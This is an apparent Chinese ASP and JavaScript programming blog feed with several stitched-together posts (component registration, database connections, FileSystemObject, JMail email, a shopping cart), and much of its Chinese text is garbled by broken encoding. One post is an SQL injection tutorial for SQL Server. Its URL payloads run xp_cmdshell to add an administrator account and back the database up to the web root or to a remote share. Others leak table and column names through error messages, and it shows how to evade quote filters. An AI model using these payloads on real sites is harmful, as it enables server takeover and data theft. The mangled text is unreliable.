W一U方法:手工注册 DLL q种Ҏ从IIs 3.0一直用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行Q进入到包含有DLL的目录,q输入:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上用了Q但是这个方法有一个缺陗当使用q种Ҏ注册完毕lg后,该组件必要相应的设|NT的匿名帐h权限执行q个dll。特别是一些组仉要读取注册表Q所以,q个注册lg的方法仅仅是使用在服务器上没有MTS的情况下Q要取消注册q个dllQ用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll

W二U方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色Q但是它提供了巨大的改进。MTS允许你指定只有有Ҏ的用h能够讉KlgQ大大提高了|站服务器上的安全性设|。在MTS上注册组件的步骤如下Q?
1) 打开IIS理控制台?
2) 展开transaction serverQ右键单?pkgs installed"然后选择"new package"?
3) 单击"create an empty package"?
4) l该包命名?
5) 指定administrator帐号或则使用"interactive"Q如果服务器l常是用administrator 登陆的话Q?
6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"?
7) 选择 "install new component" [b]?
8) 扑ֈ你的.dll文g然后选择next到完成?
要删除这个对象,只要选择它的图标Q然后选择delete?
附注Q特别要注意W二U方法,它是用来调试自己~写lg的最好方法,而不必每ơ都需要重新启动机器了?

16. ASP与Access数据库连接:

<%@ language=vb-script%>
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名U?mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密?dbq="&mdbfile

%>

17. ASP与SQL数据库连接:

<%@ language=vb-script%>
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名U或IP地址;UID=sa;PWD=数据库密?DATABASE=数据库名U?
%>

建立记录集对象:

set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2

 


  3、页面摘入等待。。。。脚本说?
  把如下代码加?lt;head>区域?br />  <SCRIPT LANGUAGE="JavaScript">
  document.write("<font size=6 color=blue face='楷体_GB2312'><B>正在载入首页,L{?.</B></font>");
  window.clear;
  window.location.href="
  </SCRIPT>

  4、在Text直接修改记录Q然后点修改保存记录
  <%count=0
  do while not (rs.eof or rs.bof) and count<rs.PageSize %>
  <form action="webGroupEdit.asp" method="post" name="GroupEdit" onSubmit="return Checkedit()">
  <tr bgcolor="E9F3FF">
  <td>&nbsp;<%=rs("id")%> <input name="b" type="hidden" id="b" value="<%=rs("id")%>">
  <input name="currpage" type="hidden" id="currpage" value="<%=page%>"></td>
  <td height="18"><input name="a" type="text" id="a" value="<%=rs("MemGroupName")%>" size="20" maxlength="50">
  </td>
  <td height="18"><input name="c" type="text" id="c" value="<%=rs("Remark")%>" size="25" maxlength="30"></td>
  <td><input type="submit" name="Submit" value=" 修改 " ></td>
  <td><div align="center"><a href="webGroupDel.asp?id=<%=rs("id")%>&page=<%=page%>" onClick="return check()">删除</a></div></td>
  </tr>
  </form>
  <%
  count=count+1
  rs.movenext
  loop
  %>

  5、自动计问题:
  <input type="hidden" name="selvalue">
  <SELECT NAME="select1" onChage="javascript:document.form1.selvalue.value=this.options[this.options.selectedIndex].text">
  <option value="1">新浪</option>
  <option value="2">癑ֺ</option>
  <option value="3">中华|?lt;/option>
  <option value="4">腾讯</option>
  </SELECT>

 


<SCRIPT LANGUAGE="javascript"> js脚本开始;
  window.open 弹出新窗口的命oQ?
  'page.html' 弹出H口的文件名Q?
  'newwindow' 弹出H口的名字(不是文g名)Q非必须Q可用空''代替Q?
  height=100 H口高度Q?
  width=400 H口宽度Q?
  top=0 H口距离屏幕上方的象素|
  left=0 H口距离屏幕左侧的象素|
  toolbar=no 是否昄工具栏,yes为显C;
  menubarQscrollbars 表示菜单栏和滚动栏?
  resizable=no 是否允许改变H口大小Qyes为允许;
  location=no 是否昄地址栏,yes为允许;
  status=no 是否昄状态栏内的信息Q通常是文件已l打开Q,yes为允许;
  </SCRIPT> js脚本l束
 
判断星期?/p>

<%
yue=month(date())
nian=year(date())
thismon=nian&"-"&yue&"-1"
nextmon=dateadd("m",1,thismon)
tiancount=datediff("d",thismon,nextmon)  '本月的天?/p>

wek= Weekday(date())
select case wek
case 1
response.write "周日"
case 2
response.write "周一"
case 3
response.write "周二"
case 4
response.write "周三"
case 5
response.write "周四"
case 6
response.write "周五"
case 7
response.write "周六"
end select

yue=month(date())
nian=year(date())
thismon=nian&"-"&yue&"-1"
nextmon=dateadd("m",1,thismon)
tiancount=datediff("d",thismon,nextmon)  '本月的天?br />dim wek,wekday
wek= Weekday(date())
select case wek
case 1
wekday= "周日"
case 2
wekday= "周一"
case 3
wekday= "周二"
case 4
wekday= "周三"
case 5
wekday= "周四"
case 6
wekday= "周五"
case 7
wekday= "周六"
end select

'response.write "本月?&tiancount&"天,今天?&wekday&"
%>



jacky wu 2006-09-02 20:11 发表评论
]]>
Javascript FileSystemObject 对象http://www.aygfsteel.com/jackywjj/articles/67301.htmljacky wujacky wuSat, 02 Sep 2006 12:10:00 GMThttp://www.aygfsteel.com/jackywjj/articles/67301.htmlhttp://www.aygfsteel.com/jackywjj/comments/67301.htmlhttp://www.aygfsteel.com/jackywjj/articles/67301.html#Feedback0http://www.aygfsteel.com/jackywjj/comments/commentRss/67301.htmlhttp://www.aygfsteel.com/jackywjj/services/trackbacks/67301.htmlJavascript是网制作中M开的脚本语aQ依靠它Q一个网늚内容才生动活泹{富有朝气。但也许你还没有发现q应用它的一些更高的功能吧Q比如,Ҏ件和文g夹进行读、写和删除,p在VB、VC{高U语a中经常做的工作一栗怎么P你是否需要了解这斚w的知识?那就误我来Q本文将详细描述如何使用Javascript语言q行文g操作?br /> 
一、功能实现核心:FileSystemObject 对象
其实Q要在Javascript中实现文件操作功能,主要是依靠FileSystemobject对象。在详细介绍FileSystemobject对象的各个属性和Ҏ的用细节前Q先来看看这个对象包括哪些相兛_象和集合Q?
 
二、FileSystemObject~程三部?
使用FileSystemObject 对象q行~程很简单,一般要l过如下的步骤: 创徏FileSystemObject对象、应用相x法、访问对象相兛_??
Q一Q创建FileSystemObject对象
创徏FileSystemObject对象的代码只?行:
var fso = new ActiveXObject("Scripting.FileSystemObject");
上述代码执行后,fso成Z个FileSystemObject对象实例?
Q二Q应用相x?
创徏对象实例后,可以用对象的相关Ҏ了。比如,使用CreateTextFileҎ创徏一个文本文Ӟ
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f1 = fso.createtextfile("c:\\myjstest.txt",true");
Q三Q访问对象相兛_?
要访问对象的相关属性,首先要徏立指向对象的句柄Q这p通过getpdҎ实现QGetDrive负责获取驱动器信息,GetFolder负责获取文g夹信息,GetFile负责获取文g信息。比如,指向下面的代码后Qf1成为指向文件c:\test.txt的句柄:
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f1 = fso.GetFile("c:\\myjstest.txt");
然后Q用f1讉K对象的相兛_性。比如:
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f1 = fso.GetFile("c:\\myjstest.txt");
alert("File last modified: " + f1.DateLastModified);
执行上面最后一句后Q将昄c:\myjstest.txt的最后修Ҏ期属性倹{?
但有一点请注意Q对于用createҎ建立的对象,׃必再使用getҎ获取对象句柄了,q时直接使用createҎ建立的句柄名U就可以Q?
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f1 = fso.createtextfile("c:\\myjstest.txt",true");
alert("File last modified: " + f1.DateLastModified);
三、操作驱动器QDrivesQ?
使用FileSystemObject对象来编E操作驱动器QDrivesQ和文g夹(FoldersQ很ҎQ这p在Windows文g览器中Ҏ件进行交互操作一P比如Q拷贝、移动文件夹Q获取文件夹的属性?
Q一QDrives对象属?
Drive对象负责攉pȝ中的物理或逻辑驱动器资源内容,它具有如下属性:
l TotalSizeQ以字节QbyteQؓ单位计算的驱动器大小?
l AvailableSpace或FreeSpaceQ以字节QbyteQؓ单位计算的驱动器可用I间?
l DriveLetterQ驱动器字母。?
l DriveTypeQ驱动器cdQ取gؓQremovableQ移动介质)、fixedQ固定介质)、networkQ网l资源)、CD-ROM或者RAM盘?
l SerialNumberQ驱动器的系列码?
l FileSystemQ所在驱动器的文件系l类型,取gؓFAT、FAT32和NTFS。?
l IsReadyQ驱动器是否可用。?
l ShareNameQ共享名U?
l VolumeNameQ卷标名U?
l Path和RootFolderQ驱动器的\径或者根目录名称。?
Q二QDrive对象操作例程
下面的例E显C驱动器C的卷标、d量和可用I间{信息: 
var fso, drv, s ="";
fso = new ActiveXObject("Scripting.FileSystemObject");
drv = fso.GetDrive(fso.GetDriveName("c:\\"));
s += "Drive C:" + " - ";
s += drv.VolumeName + "\n";
s += "Total Space: " + drv.TotalSize / 1024;
s += " Kb" + "\n"; 
s += "Free Space: " + drv.FreeSpace / 1024;
s += " Kb" + "\n";
alert(s);
执行后出C面的信息框:
 
四、操作文件夹QFoldersQ?
涉及到文件夹的操作包括创建、移动、删除以及获取相兛_性?
Q一Q?Folder对象的相兛_性和Ҏ列表 
 

 

 

 

Q二QFolder对象操作例程
下面的例E将l习获取父文件夹名称、创建文件夹、删除文件夹、判断是否ؓ根目录等操作Q?
var fso, fldr, s = "";
// 创徏FileSystemObject对象实例
fso = new ActiveXObject("Scripting.FileSystemObject");
// 获取Drive 对象
fldr = fso.GetFolder("c:\\");
// 昄父目录名U?
alert("Parent folder name is: " + fldr + "\n");
// 昄所在drive名称
alert("Contained on drive " + fldr.Drive + "\n");
// 判断是否为根目录
if (fldr.IsRootFolder)
alert("This is the root folder.");
else
alert("This folder isn't a root folder.");
alert("\n\n");
// 创徏新文件夹
fso.CreateFolder ("C:\\Bogus");
alert("Created folder C:\\Bogus" + "\n");
// 昄文g夹基名称Q不包含路径?
alert("Basename = " + fso.GetBaseName("c:\\bogus") + "\n");
// 删除创徏的文件夹
fso.DeleteFolder ("C:\\Bogus");
alert("Deleted folder C:\\Bogus" + "\n");
五、操作文ӞFilesQ?
Ҏ件进行的操作要比以上介绍的驱动器QDriveQ和文g夹(FolderQ操作复杂些Q基本上分ؓ以下两个cdQ对文g的创建、拷贝、移动、删除操作和Ҏ件内容的创徏、添加、删除和d操作。下面分别详l介l?
Q一Q创建文?
一共有3U方法可用于创徏一个空文本文gQ这U文件有时候也叫做文本(text streamQ?
W一U是使用CreateTextFileҎ。代码如下:
var fso, f1;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
W二U是使用OpenTextFileҎQƈd上ForWriting属性,ForWriting的gؓ2。代码如下:
var fso, ts;
var ForWriting= 2;
fso = new ActiveXObject("Scripting.FileSystemObject");
ts = fso.OpenTextFile("c:\\test.txt", ForWriting, true);
W三U是使用OpenAsTextStreamҎQ同栯讄好ForWriting属性。代码如下:
var fso, f1, ts;
var ForWriting = 2;
fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CreateTextFile ("c:\\test1.txt");
f1 = fso.GetFile("c:\\test1.txt");
ts = f1.OpenAsTextStream(ForWriting, true);
Q二Q添加数据到文g
当文件被创徏后,一般要按照“打开文gQ?gt;填写数据Q?gt;关闭文g”的步骤实现d数据到文件的目的?
打开文g可用FileSystemObject对象的OpenTextFileҎQ或者用File对象的OpenAsTextStreamҎ。?
填写数据要用到TextStream对象的Write、WriteLine或者WriteBlankLinesҎ。在同是实现写入数据的功能下Q这3者的区别在于QWriteҎ不在写入数据末尾d新换行符QWriteLineҎ要在最后添加一个新换行W,而WriteBlankLines则增加一个或者多个空行?
关闭文g可用TextStream对象的CloseҎ?
Q三Q创建文件及d数据例程
下面的代码将创徏文g、添加数据、关闭文件几个步骤结合v来进行应用:
var fso, tf;
fso = new ActiveXObject("Scripting.FileSystemObject");
// 创徏新文?
tf = fso.CreateTextFile("c:\\testfile.txt", true);
// 填写数据Qƈ增加换行W?
tf.WriteLine("Testing 1, 2, 3.") ;
// 增加3个空?
tf.WriteBlankLines(3) ;
// 填写一行,不带换行W?
tf.Write ("This is a test.");
// 关闭文g
tf.Close();
Q四Q读取文件内?
从文本文件中d数据要用TextStream对象的Read、ReadLine或ReadAll Ҏ。ReadҎ用于d文g中指定数量的字符QReadLineҎd一整行Q但不包括换行符QReadAllҎ则读取文本文件的整个内容。读取的内容存放于字W串变量中,用于昄、分析。在使用Read或ReadLineҎd文g内容Ӟ如果要蟩q一些部分,p用到Skip或SkipLineҎ?
下面的代码演C打开文g、填写数据,然后d数据Q?
var fso, f1, ts, s;
var ForReading = 1;
fso = new ActiveXObject("Scripting.FileSystemObject");
// 创徏文g 
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
// 填写一行数?
f1.WriteLine("Hello World");
f1.WriteBlankLines(1);
// 关闭文g
f1.Close();
// 打开文g
ts = fso.OpenTextFile("c:\\testfile.txt", ForReading);
// d文g一行内容到字符?
s = ts.ReadLine();
// 昄字符串信?
alert("File contents = '" + s + "'");
// 关闭文g
ts.Close();
Q五Q移动、拷贝和删除文g
对于以上三种文g操作QJavascript各有两种对应的方法:File.Move ?FileSystemObject.MoveFile用于Ud文gQFile.Copy ?FileSystemObject.CopyFile用于拯文gQFile.Delete ?FileSystemObject.DeleteFile用于删除文g?
下面的代码演C在驱动器C的根目录下创Z个文本文Ӟ填写一些内容,然后文件移动到\tmp目录下,再在目录\temp下面建立一个文件拷贝,最后删除这两个目录的文Ӟ
var fso, f1, f2, s;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
// 写一?
f1.Write("This is a test.");
// 关闭文g
f1.Close();
// 获取C:\根目录下的文件句?
f2 = fso.GetFile("c:\\testfile.txt");
// Ud文g到\tmp目录?
f2.Move ("c:\\tmp\\testfile.txt");
// 拯文g到\temp目录?
f2.Copy ("c:\\temp\\testfile.txt");
// 获取文g句柄
f2 = fso.GetFile("c:\\tmp\\testfile.txt");
f3 = fso.GetFile("c:\\temp\\testfile.txt");
// 删除文g
f2.Delete();
f3.Delete();
六、结 ?
通过以上对FileSystemObject的各U对象、属性和Ҏ的介l和CZQ相信你已经对如何用JavaScript语言在页面中操作驱动器、文件和文gҎ了清晰的认识。但是上q提及的例程都非常简单,要全面、灵zd掌握JavaScript文g操作技术,q需要大量的实践l习。而且q有一Ҏ醒大Ӟ׃涉及到在览器中q行文gdq样的高U操作,对于默认的浏览器安全U别而言Q在代码q行前都会有一个信息提C,q点请在实际环境中提C问者注意?br />



jacky wu 2006-09-02 20:10 发表评论
]]>
利用pȝ表注入SQLServer数据?/title><link>http://www.aygfsteel.com/jackywjj/articles/25159.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Fri, 23 Dec 2005 01:51:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/25159.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/25159.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/25159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/25159.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/25159.html</trackback:ping><description><![CDATA[<P>W一节、利用系l表注入SQLServer数据?/P> <P>       SQLServer是一个功能强大的数据库系l,与操作系l也有紧密的联系Q这l开发者带来了很大的方便,但另一斚wQ也为注入者提供了一个蟩板,我们先来看看几个具体的例子:</P> <P>?<A href="http://Site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</A> master..xp_cmdshell "net user david 111111 /add"--</P> <P>  分号;在SQLServer中表C隔开前后两句语句Q?-表示后面的语句ؓ注释Q所以,q句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储q程xp_cmdshellQ这个存储过E用于调用系l命令,于是Q用net命o新徏了用户名为name、密码ؓpassword的windows的帐P接着Q?/P> <P>?<A href="http://Site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</A> master..xp_cmdshell "net localgroup name administrators /add"--</P> <P>  新建的帐号name加入理员组Q不用两分钟Q你已经拿到了系l最高权限!当然Q这U方法只适用于用saq接数据库的情况Q否则,是没有权限调用xp_cmdshell的?/P> <P>  ?<A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and db_name()>0</P> <P>前面有个cM的例子and user>0Q作用是获取q接用户名,db_name()是另一个系l变量,q回的是q接的数据库名?/P> <P>?<A href="http://Site/url.asp?id=1;backup">http://Site/url.asp?id=1;backup</A> database 数据库名 to disk=’c:\inetpub\wwwroot\1.db?--</P> <P>q是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的l对路径Q将数据库备份到Web目录下面Q再用HTTP把整个数据库完完整整的下蝲回来Q所有的理员及用户密码都一览无遗!在不知道l对路径的时候,q可以备份到|络地址的方法(?A href="file://\\202.96.xx.xx\Share\1.db">\\202.96.xx.xx\Share\1.db</A>Q,但成功率不高?/P> <P>  ?<A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and (Select Top 1 name from sysobjects where xtype=’U?and status>0)>0</P> <P>前面说过Qsysobjects是SQLServer的系l表Q存储着所有的表名、视图、约束及其它对象Qxtype=’U?and status>0Q表C用户徏立的表名Q上面的语句第一个表名取出,?比较大小Q让报错信息把表名暴露出来。第二、第三个表名怎么获取Q还是留l我们聪明的读者思考吧?/P> <P>?<A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and (Select Top 1 col_name(object_id(‘表名?,1) from sysobjects)>0</P> <P>从⑤拿到表名后,用object_id(‘表名?获取表名对应的内部IDQcol_name(表名ID,1)代表该表的第1个字D名Q将1换成2,3,4...可以逐个获取所猜解表里面的字段名?/P> <P>  以上6Ҏ我研ISQLServer注入半年多以来的心血l晶Q可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研ISQLServer注入之后Q我在开发方面的水^也得到很大的提高Q呵呵,也许安全与开发本来就是相辅相成的吧?/P> <P>W二节、绕q程序限制l注?/P> <P>在入门篇提到Q有很多人喜Ƣ用’号试注入漏洞Q所以也有很多h用过滤’号的方法来“防止”注入漏z,q也许能挡住一些入门者的dQ但对SQL注入比较熟悉的hQ还是可以利用相关的函数Q达到绕q程序限制的目的?/P> <P>在“SQL注入的一般步骤”一节中Q我所用的语句Q都是经q我优化Q让其不包含有单引号的;在“利用系l表注入SQLServer数据库”中Q有些语句包含有’号Q我们D个例子来看看怎么攚w这些语句:</P> <P>单的如where xtype=’U’,字符U对应的ASCII码是85Q所以可以用where xtype=char(85)代替Q如果字W是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替?/P> <P>W三节、经验小l?/P> <P>1.有些ZqoSelect、Update、Deleteq些关键字,但偏偏忘记区分大写Q所以大家可以用selecTq样试一下?/P> <P>2.在猜不到字段名时Q不妨看看网站上的登录表单,一般ؓ了方便v见,字段名都与表单的输入框取相同的名字?/P> <P>3.特别注意Q地址栏的+号传入程序后解释为空|%2B解释?P%25解释?P具体可以参考URLEncode的相关介l?/P> <P>4.用GetҎ注入ӞIIS会记录你所有的提交字符Ԍ对PostҎ做则不记录,所以能用Post的网址量不用Get?/P> <P>5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用q种ҎQ只需要两者之间的区别卛_Q但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高?/P> <P>????/P> <P>QIQ注入漏z可谓是“千里之堤,溃于蚁穴”,q种漏洞在网上极为普遍,通常是由于程序员Ҏ入不了解Q或者程序过滤不严格Q或者某个参数忘记检查导致。在q里Q我l大家一个函敎ͼ代替ASP中的Request函数Q可以对一切的SQL注入Say NOQ函数如下:</P> <P><BR>Function SafeRequest(ParaName,ParaType)<BR>       '--- 传入参数 ---<BR>       'ParaName:参数名称-字符?BR>       'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?</P> <P>       Dim ParaValue<BR>       ParaValue=Request(ParaName)<BR>       If ParaType=1 then<BR>              If ParaValue="" or not isNumeric(ParaValue) then<BR>                     Response.write "参数" & ParaName & "必须为数字型Q?<BR>                     Response.end<BR>              End if<BR>       Else<BR>              ParaValue=replace(ParaValue,"'","''")<BR>       End if<BR>       SafeRequest=ParaValue<BR>End function<BR>   文章到这里就l束了,不管你是安全人员、技术爱好者还是程序员Q我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,Ƣ迎?A >www.54NB.com</A> 向提出,谢谢大家Q?/P> <P> </P><img src ="http://www.aygfsteel.com/jackywjj/aggbug/25159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2005-12-23 09:51 <a href="http://www.aygfsteel.com/jackywjj/articles/25159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP用JMail、CDO发送邮?/title><link>http://www.aygfsteel.com/jackywjj/articles/16970.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Thu, 27 Oct 2005 02:14:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/16970.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/16970.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/16970.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/16970.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/16970.html</trackback:ping><description><![CDATA[<P>前一D|间有发过一个简单的JMAIL邮g发邮件的代码Q今天就把这个代码做一个具体的注解Qƈ增加了另外两个格式的代码Qƈ丑և个简单的例子Q?BR>首先是jmail.smtpmail的核心代码: <BR><%<BR>  Set jmail = Server.CreateObject("JMAIL.SMTPMail")   '创徏一个JMAIL对象<BR>  jmail.silent = true   'JMAIL不会抛出例外错误Q返回的gؓFALSE跟TRUE<BR>  jmail.logging = true   '启用使用日志<BR>  jmail.Charset = "GB2312"  '邮g文字的代码ؓ体中?BR>  jmail.ContentType = "text/html"  '邮g的格式ؓHTML?BR>  jmail.ServerAddress = "Server Address"   '发送邮件的服务?BR>  jmail.AddRecipient Email    '邮g的收件h<BR>  jmail.SenderName = "SenderName"    '邮g发送者的姓名<BR>  jmail.Sender = "Email Address"    '邮g发送者的邮g地址<BR>  jmail.Priority = 1   '邮g的紧急程序,1 为最快,5 为最慢, 3 为默认?BR>  jmail.Subject = "Mail Subject"  '邮g的标?BR>  jmail.Body = "Mail Body"   '邮g的内?BR>  jmail.AddRecipientBCC Email   '密g收g人的地址<BR>  jmail.AddRecipientCC Email   '邮g抄送者的地址<BR>  jmail.Execute()   '执行邮g发?BR>  jmail.Close    '关闭邮g对象<BR>%></P> <P>  w3 Jmail4.3lg重新设计了其内部l构——用Message对象代替原来的单一对象Jmail.smtpmail发送邮Ӟ有些Ҏ需要n份验证的(?63、yahoo{?Q可以用下面的方法解冻I<BR><%<BR>     Set jmail = Server.CreateObject("JMAIL.Message")   '建立发送邮件的对象<BR>     jmail.silent = true    '屏蔽例外错误Q返回FALSE跟TRUE两值j<BR>     mail.logging = true   '启用邮g日志<BR>     jmail.Charset = "GB2312"     '邮g的文字编码ؓ国标<BR>     jmail.ContentType = "text/html"    '邮g的格式ؓHTML格式<BR>     jmail.AddRecipient Email     '邮g收g人的地址<BR>     jmail.From = "Email From for Sender"   '发g人的E-MAIL地址<BR>     jmail.MailServerUserName = "UserName of Email"     'd邮g服务器所需的用户名<BR>     jmail.MailServerPassword = "Password of Email"     'd邮g服务器所需的密?BR>     jmail.Subject = "Mail Subject"    '邮g的标?<BR>     jmail.Body = "Mail Body"      '邮g的内?BR>     jmail.Prority = 1      '邮g的紧急程序,1 为最快,5 为最慢, 3 为默认?BR>     jmail.Send("Server Address")     '执行邮g发送(通过邮g服务器地址Q?BR>     jmail.Close()   '关闭对象<BR>%></P> <P>  再讲一下微软自带的CDONTSlg的发信的ҎQ?/P> <P><%<BR>    Set cdomail = Server.CreateObject("CDONTS.NewMail")  '建立邮g对象<BR>    cdomail.Subject = "Mail Subject"   '邮g标题<BR>    cdomail.From = "Sender's Mail"   '发g人的地址<BR>    cdomail.To = "Email will from"   '收g人的地址<BR>    cdomail.Body = "Mail Body"   '邮g的内?BR>    cdomail.Send    '执行发?BR>%></P> <P>  q种Ҏ发送邮件是最单的Q同时也带来一定的问题Q就是很有服务器会开q项服务Q?/P> <P><BR>  我们写程序,一般情况下都是说要代码模块化,q样方便l护Q同时也方便UL。因此,我在q里这个发邮g的写成一个子E,在调用的时候可以直接调用(当然Q如果你高兴写成函数的话也是可以的,q个主要是看个h兴趣Q:</P> <P><%<BR>  '参数说明<BR>  'Subject     : 邮g标题<BR>  'MailAddress : 发g服务器的地址,如smtp.163.com<BR>  'Email       : 收g人邮件地址<BR>  'Sender      : 发g人姓?BR>  'Content     : 邮g内容<BR>  'Fromer      : 发g人的邮g地址</P> <P>  Sub SendAction(subject, mailaddress, email, sender, content, fromer) <BR>      Set jmail = Server.CreateObject("JMAIL.SMTPMail")   '创徏一个JMAIL对象<BR>      jmail.silent = true   'JMAIL不会抛出例外错误Q返回的gؓFALSE跟TRUE<BR>      jmail.logging = true   '启用使用日志<BR>      jmail.Charset = "GB2312"  '邮g文字的代码ؓ体中?BR>      jmail.ContentType = "text/html"  '邮g的格式ؓHTML?BR>      jmail.ServerAddress = mailaddress   '发送邮件的服务?BR>      jmail.AddRecipient Email    '邮g的收件h<BR>      jmail.SenderName = sender   '邮g发送者的姓名<BR>      jmail.Sender = fromer    '邮g发送者的邮g地址<BR>      jmail.Priority = 1   '邮g的紧急程序,1 为最快,5 为最慢, 3 为默认?BR>      jmail.Subject = subject  '邮g的标?BR>      jmail.Body = content   '邮g的内?BR>      '׃没有用到密抄跟抄送,q里屏蔽掉这两句Q如果您有需要的话,可以在这里恢?BR>      'jmail.AddRecipientBCC Email   '密g收g人的地址<BR>      'jmail.AddRecipientCC Email   '邮g抄送者的地址<BR>      jmail.Execute()   '执行邮g发?BR>      jmail.Close    '关闭邮g对象<BR>  End Sub<BR>  <BR>  '调用此Sub的例?BR>  Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer<BR>  strSubject     = "q是一用JMAIL发送的试邮g"<BR>  strContent     = "JMaillg发送测试成功!"<BR>  strEmail       = "<A href="mailto:my@my.com">my@my.com</A>"<BR>  strFromer      = "<A href="mailto:my@my.com">my@my.com</A>"<BR>  strMailAddress = "mail.my.com"</P> <P>  Call SendAction (strSubject,strMailaddress,strEmail,strSender,strContent,strFromer)<BR>%><BR></P><img src ="http://www.aygfsteel.com/jackywjj/aggbug/16970.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2005-10-27 10:14 <a href="http://www.aygfsteel.com/jackywjj/articles/16970.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>购物车类http://www.aygfsteel.com/jackywjj/articles/7539.htmljacky wujacky wuTue, 12 Jul 2005 04:56:00 GMThttp://www.aygfsteel.com/jackywjj/articles/7539.htmlhttp://www.aygfsteel.com/jackywjj/comments/7539.htmlhttp://www.aygfsteel.com/jackywjj/articles/7539.html#Feedback0http://www.aygfsteel.com/jackywjj/comments/commentRss/7539.htmlhttp://www.aygfsteel.com/jackywjj/services/trackbacks/7539.htmlcastclass.asp

<%
Class ShopBag

 '攑֕品的I间
 Private ProSpace

 '商品信息个数
 Private ItemsCout


'=============================================================
'                     共有?BR>'=============================================================

 'Ҏ?PutAPro
 '参数:一个存有商品信息的数组--ProData
 '作用:一个商品放入购物R
 'q回|
 '成功攑օ商品Q返回true
 '商品存在,q回false    
 Public Function PutAPro(ByRef ProData)
 'size:'最后一?BR> dim size,result,flag
 ItemsCout = ubound(ProData)  '商品信息个数
 GetPro

 if CreateSpace then
 '有商品需要检商品是否存?BR> MyPrint "有商品需要检商品是否存?
  flag = CheckProExists(ProData(0)) 
 else
  flag = false '购物车没有商?BR>  MyPrint "购物车没有商?
 end if

 if not flag then

   size = Ubound(ProSpace)

   for i = 0 to ItemsCout
    ProSpace(size,i) = ProData(i)
   next
   MyPrint "攑օ一个商?...<br>"
   SavePro
   result = true
 else
 result = false
 end if

 PutAPro = result  
 End Function
 '----------------------------------------------
 

 '得到所有商?BR> Public Function GetAllPro(ByRef ProList)
  ProList  = Session("ProID")
 End Function
 '----------------------------------------------

 '更新产品个数
 Public Function UpdatePro(ByRef ProNumList)

 dim ProNumData
 GetPro
  ProNumData = split(ProNumList,",")

  for i =0 to Ubound(ProNumData)
   ProSpace(i,3) = Cint(trim(ProNumData(i)))
  next  
 SavePro
 MyPrint "更新了所有商品个?
 End Function


 '删除一个商?
 Public Function DeleteAPro(id)
 MyPrint "准备删除一个商?
 dim count
 GetPro
 count = UBound(ProSpace)
 
 if count=0 then
 MyPrint "商品已经是最后一个了, session设ؓnull"
  Session("ProID") = null
 else
  redim tempAr(count-1,3)
   MyPrint "开始查找要删除的商品id..."
   for i = 0 to count
    if Cint(ProSpace(i,0)) = Cint(id) then
     MyPrint "扑ֈID,删除!"
      for j=i to count-1
       ProSpace(j,0) = ProSpace(j+1,0)
       ProSpace(j,1) = ProSpace(j+1,1)
       ProSpace(j,2) = ProSpace(j+1,2)
       ProSpace(j,3) = ProSpace(j+1,3)
      next

     exit for
    end if
   next

   for i = 0 to count-1
    tempAr(i,0) = ProSpace(i,0)
    tempAr(i,1) = ProSpace(i,1)
    tempAr(i,2) = ProSpace(i,2)
    tempAr(i,3) = ProSpace(i,3)
   next 
   Session("ProID") = tempAr
  end if
  
 End Function
